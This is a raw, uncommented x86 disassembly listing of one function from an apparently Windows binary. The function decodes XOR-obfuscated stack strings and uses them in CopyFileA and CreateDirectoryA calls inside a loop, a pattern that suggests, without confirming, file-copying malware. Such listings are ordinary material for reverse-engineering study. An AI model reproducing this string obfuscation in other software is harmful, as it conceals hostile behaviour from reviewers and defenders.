mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x830]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x830], xmm1
movaps xmm1, xmmword [ebp - 0x820]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x830]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x11c0]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x820], xmm1
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x2b
mov dword [ebp - 0x18], 0xedd084ec
mov dword [ebp - 0x14], 0xf3814a90
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x400], ecx
mov dword [ebp - 0x3fc], edx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3f8], eax
mov dword [ebp - 0x3f4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x400]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x400]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x400], xmm1
call fcn.004423d1
add esp, 4
lea ecx, [ebp - 0xb44]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x11c0]
call fcn.00402df0
cmp dword [ebp - 0xb30], 0xf
lea eax, [ebp - 0xb44]
cmova eax, dword [ebp - 0xb44]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0x2e
mov byte [ebp - 4], 0x2d
call fcn.004e4120
add esp, 0x18
test al, al
je 0x40d9fd
mov dword [ebp - 0x18], 0xcae3b5f1
lea edx, [ebp - 0xce8]
mov dword [ebp - 0x14], 0x87ae6bbe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x40c], ecx
mov dword [ebp - 0x18], 0x122f1205
mov dword [ebp - 0x14], 0xa0dfe797
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x404], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x410]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x410]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x11d8]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x410], xmm1
call fcn.0041ab20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x2f
cmp dword [ecx + 0x14], 0xf
jbe 0x40d9c4
mov ecx, dword [ecx]
cmp dword [ebp - 0xb30], 0xf
lea eax, [ebp - 0xb44]
push 0
cmova eax, dword [ebp - 0xb44]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x11d8]
call fcn.00402df0
test esi, esi
je 0x40d9fd
mov byte [ebp - 0x31], 1
jmp 0x40da0c
push ecx
lea ecx, [ebp - 0xce8]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0xb44]
call fcn.00402df0
mov dword [ebp - 0x18], 0xc7f598f1
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0x14], 0x9f836cb0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x18], 0x152b591f
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x420]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x420]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xd00]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x420], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x30
lea eax, [ebp - 0xd00]
cmp dword [ebp - 0xcec], 0xf
push 0
cmova eax, dword [ebp - 0xd00]
push eax
call edi
test eax, eax
je 0x40de80
mov dword [ebp - 0x18], 0xdcecfaf1
mov dword [ebp - 0x14], 0x90b27fbf
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x9a0], eax
mov dword [ebp - 0x99c], ecx
mov dword [ebp - 0x18], 0xf20551a
mov dword [ebp - 0x14], 0xc5acd58c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x998], eax
mov dword [ebp - 0x994], ecx
mov dword [ebp - 0x18], 0xf7ae4c93
mov dword [ebp - 0x14], 0x7cd69708
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x990], eax
mov dword [ebp - 0x98c], ecx
mov dword [ebp - 0x18], 0x50bd1eb9
mov dword [ebp - 0x14], 0xcc90e7ba
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x988], eax
mov dword [ebp - 0x984], ecx
mov dword [ebp - 0x18], 0xc24a870e
mov dword [ebp - 0x14], 0xac8f9206
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x980], eax
mov dword [ebp - 0x97c], ecx
mov dword [ebp - 0x18], 0x2d77dede
mov dword [ebp - 0x14], 0x6d869c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x978], eax
mov dword [ebp - 0x974], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xb624f261
mov dword [ebp - 0x14], 0xd4fbbc75
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x2d77deaa
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x14], 0x6d869c
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x9a0]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x9a0], xmm1
movaps xmm1, xmmword [ebp - 0x990]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x990], xmm1
movaps xmm1, xmmword [ebp - 0x980]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x980], xmm1
lea eax, [ebp - 0x9a0]
push eax
lea ecx, [ebp - 0x11f0]
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x31
mov dword [ebp - 0x18], 0xfbc587f8
mov dword [ebp - 0x14], 0xb58f4c81
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x430], ecx
mov dword [ebp - 0x42c], edx
mov dword [ebp - 0x18], 0x6100703f
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x424], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x430]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x430]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x430], xmm1
call fcn.004423d1
add esp, 4
lea ecx, [ebp - 0xafc]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x11f0]
call fcn.00402df0
cmp dword [ebp - 0xae8], 0xf
lea eax, [ebp - 0xafc]
cmova eax, dword [ebp - 0xafc]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0x34
mov byte [ebp - 4], 0x33
call fcn.004e4120
add esp, 0x18
test al, al
je 0x40de62
mov dword [ebp - 0x18], 0xcae3b5f1
lea edx, [ebp - 0xd00]
mov dword [ebp - 0x14], 0x87ae6bbe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x43c], ecx
mov dword [ebp - 0x18], 0x19311205
mov dword [ebp - 0x14], 0xa0df898c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x434], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x440]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x440]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x1208]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x440], xmm1
call fcn.0041ab20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x35
cmp dword [ecx + 0x14], 0xf
jbe 0x40de29
mov ecx, dword [ecx]
cmp dword [ebp - 0xae8], 0xf
lea eax, [ebp - 0xafc]
push 0
cmova eax, dword [ebp - 0xafc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x1208]
call fcn.00402df0
test esi, esi
je 0x40de62
mov byte [ebp - 0x31], 1
jmp 0x40de71
push ecx
lea ecx, [ebp - 0xd00]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0xafc]
call fcn.00402df0
mov dword [ebp - 0x18], 0xdde196f1
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0x14], 0xdda572a5
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x44c], ecx
mov dword [ebp - 0x18], 0x61315918
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x444], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x450]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x450]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xd18]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x450], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0xd18]
cmp dword [ebp - 0xd04], 0xf
push 0
cmova eax, dword [ebp - 0xd18]
push eax
call edi
test eax, eax
je 0x40e63e
mov dword [ebp - 0x18], 0xdde196f1
xor al, al
mov dword [ebp - 0x14], 0xdda572a5
mov byte [ebp - 0x32], al
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0x18], 0x61315918
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x460]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x460]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x1220]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x460], xmm1
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x37
mov dword [ebp - 0x18], 0xedd084ec
mov dword [ebp - 0x14], 0xf3814a90
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x470], ecx
mov dword [ebp - 0x46c], edx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x468], eax
mov dword [ebp - 0x464], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x470]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x470]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x470], xmm1
call fcn.004423d1
add esp, 4
lea ecx, [ebp - 0xf20]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x1220]
call fcn.00402df0
sub esp, 0x18
lea eax, [ebp - 0xf20]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x3a
push 1
mov byte [ebp - 4], 0x39
xor dl, dl
lea ecx, [ebp - 0xa3c]
call fcn.004c33b0
add esp, 0x1c
mov byte [ebp - 4], 0x3b
mov eax, dword [ebp - 0xa3c]
mov ecx, dword [ebp - 0xa38]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x74], ecx
cmp eax, ecx
je 0x40e60b
mov edi, dword [ebp - 0x38]
mov byte [ebp - 0x9c], 0
push eax
lea ecx, [ebp - 0x9f8]
call fcn.004163b0
mov byte [ebp - 4], 0x3c
lea eax, [ebp - 0xc10]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x3d
lea eax, [ebp - 0x9f8]
cmp dword [ebp - 0x9e4], 0xf
lea ecx, [ebp - 0xc10]
push dword [ebp - 0x9e8]
cmova eax, dword [ebp - 0x9f8]
push eax
push dword [ebp - 0x9c]
call fcn.00429070
or edi, 0x8000
add esp, 0xc
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x3c
and edi, 0xffff7fff
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0xc10]
cmp dword [ebp - 0xbfc], 7
mov eax, dword [ebp - 0xc00]
cmova ecx, dword [ebp - 0xc10]
lea esi, [ecx + eax*2]
mov edx, esi
call fcn.00405640
sub esi, eax
mov dword [ebp - 0x9e0], eax
push ecx
lea eax, [ebp - 0x9e0]
sar esi, 1
push eax
lea ecx, [ebp - 0xf08]
mov dword [ebp - 0x9dc], esi
call fcn.0041a4f0
lea eax, [ebp - 0x160]
or edi, 0x4000
push eax
lea ecx, [ebp - 0xf08]
mov dword [ebp - 0x38], edi
call fcn.00405980
mov byte [ebp - 4], 0x40
and edi, 0xffffbfff
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0xf08]
call fcn.004188d0
mov dword [ebp - 0x18], 0xa980b6c9
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0xc8], 0x61453c76
mov dword [ebp - 0xc4], 0xa0df89f8
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0xd0], 0xa980d4ad
mov dword [ebp - 0xcc], 0xf3c01ed1
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xcc]
mov dword [ebp - 0xd8], 0x61453c76
mov dword [ebp - 0xd4], 0xa0df89f8
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0xd4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
movaps xmm1, xmmword [ebp - 0x230]
lea edx, [ebp - 0x230]
xorps xmm1, xmmword [ebp - 0x30]
lea ecx, [edx + 1]
movaps xmmword [ebp - 0x230], xmm1
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x40e290
sub edx, ecx
lea eax, [ebp - 0x230]
cmp dword [ebp - 0x14c], 0xf
lea ecx, [ebp - 0x160]
push edx
cmova ecx, dword [ebp - 0x160]
mov edx, dword [ebp - 0x150]
push eax
push 0
call fcn.0041c7e0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e3e2
mov dword [ebp - 0xa8], 0xcfeebbce
lea edx, [ebp - 0x1e0]
mov dword [ebp - 0xa4], 0xf3c079b8
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0x1dc], ecx
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0xb0], 0x61453c76
mov dword [ebp - 0xac], 0xa0df89f8
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 0x1d4], ecx
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0xb8], 0xa980d4ad
mov dword [ebp - 0xb4], 0xf3c01ed1
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0xc0], 0x61453c76
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xbc], 0xa0df89f8
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xbc]
movaps xmm1, xmmword [ebp - 0x1e0]
mov dword [ebp - 0xe4], ecx
lea ecx, [edx + 1]
mov dword [ebp - 0xe8], eax
xorps xmm1, xmmword [ebp - 0xf0]
movaps xmmword [ebp - 0x1e0], xmm1
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x40e3a0
sub edx, ecx
lea eax, [ebp - 0x1e0]
cmp dword [ebp - 0x14c], 0xf
lea ecx, [ebp - 0x160]
push edx
cmova ecx, dword [ebp - 0x160]
mov edx, dword [ebp - 0x150]
push eax
push 0
call fcn.0041c7e0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e3e2
mov edi, dword [ebp - 0x38]
jmp 0x40e5c6
mov dword [ebp - 0x88], 0xa980d4f1
lea edx, [ebp - 0xd18]
mov dword [ebp - 0x84], 0xf3c01ed1
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x480], eax
mov dword [ebp - 0x47c], ecx
mov dword [ebp - 0x90], 0x61453c76
mov dword [ebp - 0x8c], 0xa0df89f8
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x478], eax
mov dword [ebp - 0x474], ecx
mov dword [ebp - 0x98], 0xa980d4ad
mov dword [ebp - 0x94], 0xf3c01ed1
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x18c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x480]
mov dword [ebp - 0x188], eax
lea eax, [ebp - 0x480]
mov dword [ebp - 0x184], ecx
lea ecx, [ebp - 0x1238]
xorps xmm1, xmmword [ebp - 0x190]
push eax
movaps xmmword [ebp - 0x480], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x160]
cmp dword [ebp - 0x14c], 0xf
push dword [ebp - 0x150]
cmova ecx, dword [ebp - 0x160]
push ecx
mov ecx, eax
call fcn.00418f00
mov edi, dword [ebp - 0x38]
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x168], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x178], xmm0
mov dword [ebp - 0x164], 0
or edi, 0x10000
movups xmm0, xmmword [eax]
push 0
movups xmmword [ebp - 0x178], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x168], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x9f8]
mov dword [ebp - 0x38], edi
cmp dword [ebp - 0x164], 0xf
cmova ecx, dword [ebp - 0x178]
cmp dword [ebp - 0x9e4], 0xf
push ecx
cmova eax, dword [ebp - 0x9f8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and edi, 0xfffeffff
mov esi, eax
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x43
mov ecx, dword [ebp - 0x164]
cmp ecx, 0xf
jbe 0x40e590
push ecx
push dword [ebp - 0x178]
lea eax, [ebp - 0x178]
push eax
call fcn.00402fe0
add esp, 0xc
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 0xf
mov byte [ebp - 0x178], 0
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x1238]
call fcn.00402df0
test esi, esi
je 0x40e5c6
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x160]
call fcn.00402df0
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0xc10]
call fcn.004188d0
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x9f8]
call fcn.00402df0
mov eax, dword [ebp - 0x7c]
add eax, 0x18
mov dword [ebp - 0x7c], eax
cmp eax, dword [ebp - 0x74]
jne 0x40e0f4
cmp byte [ebp - 0x32], 0
jne 0x40e61a
push ecx
lea ecx, [ebp - 0xd18]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0xa3c]
call fcn.004185d0
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0xf20]
call fcn.00402df0
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x20], 0xccf487f1
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0x1c], 0xf3c073b0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x48c], ecx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x484], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x490]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x490]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x738]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x490], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x46
lea eax, [ebp - 0x738]
cmp dword [ebp - 0x724], 0xf
push 0
cmova eax, dword [ebp - 0x738]
push eax
call edi
test eax, eax
je 0x40f303
mov dword [ebp - 0x20], 0xd9dceeee
mov dword [ebp - 0x1c], 0x81a771a3
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x910], eax
mov dword [ebp - 0x90c], ecx
mov dword [ebp - 0x20], 0x7655117
mov dword [ebp - 0x1c], 0xd3bae591
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x908], eax
mov dword [ebp - 0x904], ecx
mov dword [ebp - 0x20], 0xa1bf10c7
mov dword [ebp - 0x1c], 0x68d6cd59
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x900], eax
mov dword [ebp - 0x8fc], ecx
mov dword [ebp - 0x20], 0x4eb916ac
mov dword [ebp - 0x1c], 0xaff386e6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x8f8], eax
mov dword [ebp - 0x8f4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x99c738e7
mov dword [ebp - 0x1c], 0x1b8ae46f
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x20], 0x23d873d8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x1c], 0xaff386e6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x910]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x910], xmm1
movaps xmm1, xmmword [ebp - 0x900]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x910]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x288]
xorps xmm1, xmmword [ebp - 0x50]
push eax
mov byte [ebp - 0x32], 0
movaps xmmword [ebp - 0x900], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x288]
cmp dword [ebp - 0x274], 0xf
cmova ecx, dword [ebp - 0x288]
call fcn.004e4050
test al, al
jne 0x40e988
mov dword [ebp - 0x20], 0xd9dceeee
